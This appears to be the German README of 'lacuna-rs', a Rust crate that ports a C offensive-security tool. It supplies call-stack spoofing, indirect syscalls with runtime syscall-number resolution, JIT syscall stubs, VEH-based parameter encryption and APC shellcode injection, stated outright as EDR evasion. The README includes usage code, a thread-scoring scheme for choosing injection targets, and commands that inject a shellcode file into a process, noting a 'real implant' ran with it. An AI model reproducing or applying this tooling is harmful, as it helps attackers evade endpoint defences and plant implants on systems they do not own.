
Rust-Crate für Ghost-Frame Call-Stack Spoofing, indirekte Syscalls zur Laufzeit und APC-Injektion auf Windows x64. Bietet SSN-Auflösung, JIT-Stub-Erzeugung und VEH-basierte Parameter-Verschlüsselung zur EDR-Umgehung.
Ghost-Frame-Call-Stack-Spoofing + Runtime-Indirekte-Syscalls für Windows x64 — portiert nach Rust.
Portiert von LACUNA Chain (lacuna_chain.c) von Mohamed Alzhrani (0xmaz).
lacuna-rs ist eine wiederverwendbare Rust-Crate, die dieselben Primitive wie das originale C-TTP bereitstellt, strukturiert, sodass es in jedes Rust-Projekt eingebunden werden kann — wie wsyscall-rs oder syscalls-rs, aber mit Laufzeit-SSN-Auflösung, funktionsspezifischem syscall;ret-Targeting und Ghost-Frame-Stack-Spoofing.
Das
stack-spoof-Feature schlägt stillschweigend fehl, wenn die verbrauchende Crate nicht mit Frame-Pointern kompiliert wurde.
Die Stack-Stomping-Primitive in chain.rs finden den Slot der Rücksprungadresse des Aufrufers über mov rbp, {x}-Inline-Asm. Dies erfordert eine intakte RBP-Kette. Rust (und die meisten Release-Mode-Compiler) lassen Frame-Pointer standardmäßig weg.
build.rs setzt force-frame-pointers=yes für die Codegenerierung dieser Crate, aber Cargo kann Compiler-Flags nicht an abhängige Crates weitergeben. Sie müssen dies zu Ihrem eigenen Projekt hinzufügen:
# .cargo/config.toml (in IHRER Crate, nicht in lacuna-rs)
[build]
rustflags = ["-C", "force-frame-pointers=yes"]
Ohne dies wird stomp_plant() Müll von RBP lesen und entweder nichts tun (bestenfalls) oder den Stack korrumpieren (schlimmstenfalls). Die Crate hat keine Möglichkeit, zur Laufzeit zu erkennen, ob Frame-Pointer aktiviert sind — sie wird einfach nicht funktionieren.
Wenn Sie nur die Scan-, SSN-Auflösungs- oder Injektionsprimitive (ohne Stack-Spoofing) benötigen, können Sie das stack-spoof-Feature weglassen, und diese Anforderung entfällt.
| Primitive | C-Funktion | Rust-Modul |
|---|---|---|
| PE-Section + Export-Parsing | pe_section(), pe_export() | pe |
.pdata-Ghost-Region-Scan | scan_ghosts(), best_ghost() | scan |
Ghost-Gadget-Erkennung (jmp [rbx]) | scan_ghost_gadgets() | scan |
win32u-NOP-Lücken-Finder | win32u_nop_gap() | scan |
| BYOUD-MF-Anker-Finder | find_mf_target() | scan |
| SSN-Auflösung (Hell's Gate / Halo's Gate) | resolve_ssn() | nt |
Funktionsspezifischer syscall;ret-Locator | find_func_syscall() | nt |
| JIT-Indirekter-Syscall-Stub-Emitting | alloc_stub() | stub |
| Ghost-Gadget-Stub-Umleitung | (in alloc_stub()) | stub |
| VEH + Hardware-Breakpoint-Parameter-Verschlüsselung | param_encrypt_veh(), pcrypt_arm() | veh |
| Chain-Guard-VEH | chain_veh() | veh |
| LACUNA-Chain-Konstruktion | build_chain() | chain |
| Stack-Stomp (BYOUD-RT) | stomp_plant(), stomp_restore() | chain |
| Chain-Walker (Verifikation) | lacuna_walk_chain() | chain |
| Sectionsbasierte APC-Injektion | do_inject_sapc() | inject |
[dependencies]
lacuna-rs = { version = "0.1", features = ["inject", "stack-spoof", "veh"] }
| Feature | Beschreibung | Benötigt Frame-Pointer? |
|---|---|---|
syscalls (Standard) | SSN-Auflösung + JIT-Stub-Emitting | Nein |
inject (Standard) | Sectionsbasierte APC-Injektion (inject::inject_sapc) | Nein |
veh | VEH + Hardware-Breakpoint-Parameter-Verschlüsselung | Nein |
stack-spoof | LACUNA-Ghost-Frame-Chain + Stack-Stomp | Ja |
no-std | no_std-Modus (experimentell) | Nein |
Wenn keine Features aktiviert sind, sind nur die Scan-/PE-/NT-Ebenen verfügbar.
cargo run --example scan
cargo run --example verify --features stack-spoof
Injektionsbeispiel mit echtem Implantat – C2 war offline, aber der Shellcode wurde ausgeführt
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin>
Fügen Sie --verbose hinzu, um VEH-Diagnoseausgaben (Stack-Dumps, Register-Ausgaben) zu aktivieren:
cargo run --example inject --features inject,stack-spoof,veh -- <pid> <sc.bin> --verbose
Anstatt APCs an jeden Thread im Zielprozess zu senden (was den Prozess zum Absturz bringen kann, wenn zu viele Threads gleichzeitig alarmiert werden), verwendet inject_sapc einen Bewertungsalgorithmus, um die besten MAX_APC_THREADS (5) Kandidaten auszuwählen:
NtQueryInformationThread(ThreadCycleTime) — primärer AktivitätsindikatorNtQueryInformationThread(ThreadTimes) — Kernel- + User-ZeitNtQueryInformationThread(ThreadSuspendCount) — nicht suspendierte Threads erhalten +300 Bonus; suspendierte Threads erhalten -150 pro Suspend-ZählerNtQueryInformationThread(ThreadBasicInformation) — Threads mit Priorität 8-10 erhalten +150 Bonus; Prioritäten außerhalb des Bereichs erhalten -100 AbzugVollständig inaktive Threads (null Zyklen und null CPU-Zeit) werden vollständig übersprungen. Die verbleibenden Kandidaten werden nach Punktzahl sortiert (höchste zuerst, bei Gleichstand nach Zyklen) und auf die Top 5 begrenzt.
use lacuna::{scan, nt, win::get_module};
let ntdll = get_module(b"ntdll.dll\0");
// Ghost-Regionen scannen
let mut ghosts = [scan::Ghost::default(); 512];
let n = scan::scan_ghosts(ntdll, &[b"NtAllocateVirtualMemory\0"], &mut ghosts);
println!("{} Ghost-Regionen in ntdll", n);
// SSN + syscall;ret für eine bestimmte Funktion auflösen
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtOpenProcess\0");
println!("NtOpenProcess: ssn={:#x}, syscall;ret={:#x}", ssn, syscall_ret);
use lacuna::{nt, stub, win::{get_module, HMODULE}};
let ntdll: HMODULE = get_module(b"ntdll.dll\0");
// SSN + die eigene syscall;ret-Adresse der Funktion auflösen
let (ssn, syscall_ret) = nt::resolve(ntdll, b"NtAllocateVirtualMemory\0");
assert!(ssn != nt::SSN_INVALID && syscall_ret != 0);
// JIT-emittieren eines Stubs: mov r10,rcx; mov eax,SSN; jmp [syscall;ret]
// (oder jmp [ghost_gadget] -> JMP [RBX] -> syscall;ret, falls build_chain aufgerufen wurde)
let stub = stub::make_stub(ssn, syscall_ret).expect("Stub-Allokation fehlgeschlagen");
// In den passenden Funktionszeigertyp umwandeln und aufrufen
let alloc_vm: unsafe extern "system" fn(
win::HANDLE, *mut win::PVOID, usize, *mut usize, win::ULONG, win::ULONG,
) -> win::NTSTATUS = unsafe { core::mem::transmute(stub.as_fn()) };
// ntdll/kernelbase/wow64/win32u nach Ghost-Regionen scannen und
// den sechsschichtigen gefälschten Call-Stack konstruieren. Setzt G_GHOST_GADGET,
// sodass Stubs über JMP [RBX] in einer signierten DLL routen.
lacuna::chain::build_chain();
// VEH-Handler registrieren (Parameter-Verschlüsselung + Chain-Guard)
let _veh = lacuna::veh::VehGuard::register().expect("VEH-Registrierung fehlgeschlagen");
// Optional: Ausführliche Diagnose zur Laufzeit aktivieren
lacuna::veh::set_verbose(true);
use lacuna::win::HANDLE;
use core::ptr;
let mut h_proc: HANDLE = ptr::null_mut();
let key: u64 = 0xCAFE_1337;
// Ghost-Frames pflanzen (ersetzt Rücksprungadressen durch signierte DLL-Ghosts)
lacuna::chain::stomp_plant();
// DR0 auf dem syscall;ret scharfschalten – VEH wird beim Eintritt die Parameter XOR-entschlüsseln
lacuna::veh::pcrypt_arm(key, syscall_ret, true);
// Durch den indirekten Stub aufrufen – RIP landet innerhalb von ntdll am Kernel-Eintritt
let _status = unsafe { open_proc(/* XOR-verschlüsselte Parameter */) };